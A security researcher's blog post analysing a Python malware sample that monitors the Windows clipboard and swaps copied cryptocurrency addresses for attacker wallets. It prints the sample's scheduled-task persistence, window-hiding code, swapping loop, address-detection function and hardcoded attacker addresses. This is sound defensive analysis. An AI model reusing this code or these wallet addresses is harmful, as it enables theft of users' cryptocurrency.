Multi-Cryptocurrency Clipboard Swapper
Last week, I was in Amsterdam to attend the FIRST TC 2022 where I talked about Python used for malicious purposes in the Windows ecosystem[1]. Amongst multiple examples, I mentioned a sample of Python code that tries to steal cryptocurrencies. It’s not the first time that I found a piece of code that monitors the clipboard and swap the BTC address found with the attacker's one. This time, the script that I found supports a lot of cryptocurrencies!
The file has a very low VT score (3/57)[2] (SHA256: 90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c).
First finding, the script implements persistence via the creation of a scheduled task:
def create_schtask(dir, file): try: call(f'schtasks /create /sc MINUTE /mo 1 /tn "System" /k /F /tr "{dir}\\{file}"', shell=True) except: pass
Python scripts on Windows can interact with the GUI (though the win32gui library). The script hides its window:
frgrnd_wndw = win32gui.GetForegroundWindow(); wndw_title = win32gui.GetWindowText(frgrnd_wndw); if wndw_title.endswith("host.exe"): win32gui.ShowWindow(frgrnd_wndw, win32con.SW_HIDE);
Now, let’s focus on the core feature, the interaction with the clipboard:
while True: network = Network() try: OpenClipboard() data: str = str(GetClipboardData()) CloseClipboard() except: data = '' detected_network = get_detect_network(data) if detected_network == None: pass else: new_address = network.get_random_address(detected_network) if data in network.addresses[detected_network]: pass else: OpenClipboard() EmptyClipboard() SetClipboardText(new_address) CloseClipboard() sleep(0.33)
The clipboard content is read (into the variable “data”). This variable passed to get_detect_network() to verify the presence of a cryptocurrency address:
def get_detect_network(data: str) -> str or None: if (data.startswith('1') or data.startswith('bc1')): detected_network = 'bitcoin' elif data.startswith('0x'): detected_network = 'erc20_and_bep20' elif len(data) == 44: detected_network = 'solana' elif (len(data) == 34) and (data.startswith('T')): detected_network = 'tron' elif data.startswith('bnb1'): detected_network = 'bep2' elif len(data) == 43 and data.startswith('ltc1') or \ len(data) == 34 and (data.startswith('M') or data.startswith('L')): detected_network = 'litecoin' elif data.startswith('r'): detected_network = 'xrp' elif data.startswith('q'): detected_network = 'bitcoin_cash' elif len(data) >= 64: detected_network = 'near' elif data.startswith('X'): detected_network = 'dash' elif data.startswith('t'): detected_network = 'zcash' elif data.startswith('D'): detected_network = 'dogecoin' elif data.startswith('terra'): detected_network = 'terra' elif data.startswith('cosmos'): detected_network = 'cosmos' else: detected_network = None return detected_network
As you can see, many currencies are supported but the detection mechanism does not look very powerful and is prone to many false positives! The script looks like a proof-of-concept for me...
The script had many addresses hardcoded, with multiple values per network:
addresses = { 'bitcoin': ['bc1q4skmuprct25drfzrujdev3g2y5a4zsqs0fvvm2', 'bc1qcv3h42gc032q5elgs8cynenqh57mymck4fncnk', 'bc1qhagmzt4a0lwdwjltmu2ur0v42veeks29j77hm4'], 'solana': ['AZEBYz4bki8CJ9ANj5y8Hnmzvzpdi9Kfg3a27GZyQ9Fx', 'HFBTid2mkUoMnbYWfF2ceQCnbBvM62VRUQsXDk8DcLGp', '8NfYSJHVjpv3XDSAWNLbMknjGQw5X3JsECPE7B6kzBnu'], 'tron': ['TBVwvr6gqxJNwp91FVcsVJyaePCGY6mDMG', 'TKcHEi5dfkAZ7L6zfGreMSmb2MKYyAuDTu', 'TDXdHSfUHevtzVdWB7K6uhoSY7ynxX38jw'], 'erc20_and_bep20': ['0xEBBc57A99ba16b52d69e11e6E07052ABA3Ff90a0', '0x0E0D59F69D136F05B1065a7d0f11616bD1e47CE9', '0x534F85b57001aa69A1cFC8831A5EdCd3F485d704'], 'bep2': ['bnb1ydfyhhsyksz4quvltds8qsdxdqfkpwjyd9a23w', 'bnb1mfcxcgxgla2qmsfrwsg5jtdmf8r4ytjm6y5ty0', 'bnb1cqqggjtwmnqlx0txnvywuugw6trwcs7y90hlpz'], 'litecoin': ['ltc1qh0clxt5t3ydmdpteyc83s77p8yv4d6f245uc57', 'ltc1q8rp6c0v577uwfkxv7trmja5zw9rtgsaljxxwwd', 'ltc1q6udncrt9shyllpr2m23878gpyarvp35ap23sp6'], 'xrp': ['rDhqftgvEaGVYvCeGE6DNipja9DHZpKz1', 'r4jogJ97bYAABoGosPTjzUUP2rAGcA4sKQ', 'rhYeMmXJacRdHSHLRKgQ5vq6NEoaz381vH'], 'bitcoin_cash': ['qqzc2wqrxfj4vn8cpuqzvefl3lrfhw9yqs9lndnpku', 'qrsyq9k28yq2py3slez8gjr322zlv4vhqv2g6emnq9', 'qrwpfk2vamxs2qwasv4n56pjvcc78zernypzyahf4u'], 'near': ['04fbb5a231c9791f4868da4973f2f1ed0f358a4c99727534a961a0a80581a055', 'a69ef150c95822112e30a792c10a51e01606e32f65fd8fb083d49ff7afc9c4d9', '43cd191cd0f3c8ffbb070a60aa3937c5f7218b09108951c0a24ae94ae9a7665d'], 'dash': ['XwxkG8sQhqK7idZyrPp5zu5wdTii9vF9vT', 'XfQaYpipiLRDEn1Gy4YAvHQ7Gm1EBNhiZw', 'XjPpu9WZs9F1EfyYsZDLPyhX9g2BacTfeh'], 'zcash': ['t1PuPdnnJmzqgctQVcdqkmqPCaR5Gsccegk', 't1gJ8Zc5rWiW7gGbFP7KVEGDZFyrT7JP9u7', 't1N9RNGiKj2TCWgip5uXLWefY1kKLLgimaR'], 'dogecoin': ['D93zyaMn37Eq9RvUeaN8tKaUC1ocLNvncn', 'DThAv5fRB3t3foES6jLLZrqdoQkDc6vuZJ', 'DHbrcfpN3v6RZQ4wCTrPoxnMNQj1CG9k51'], 'terra': ['terra1sgn3gkdesfx57sq04dpngh4yvncahdxk6ljz02', 'terra1psvawthe0g0495gfmk046rdswvat5pnr264l02', 'terra1jwtkp94w3tt46hxcdfhgjm9awk58qhkehsnqg6'], 'cosmos': ['cosmos1pf05klhcy9e540t6y9as25qxn85l2azzkw7mcg', 'cosmos1ggapvcwtcfx6082a0th2adc8umc0h8zf3kz22n', 'cosmos1j4d2gppgyf7sutwyzkm6tjy679lc7aaxakp2c9'], }
Be careful when copying/pasting cryptocurrency addresses (or any sensitive data). By default, many desktop virtualization solutions enable clipboard sharing by default and are able to access the host clipboard.
[1] https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/https://www.linkedin.com/pulse/first-tc-amsterdam-2022-jeff-bollinger/
[2] https://www.virustotal.com/gui/file/90077efe5fea9f769a7d9899f2c0ce8577b45ee82182419a2af9d93472bc904c/detection
Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Comments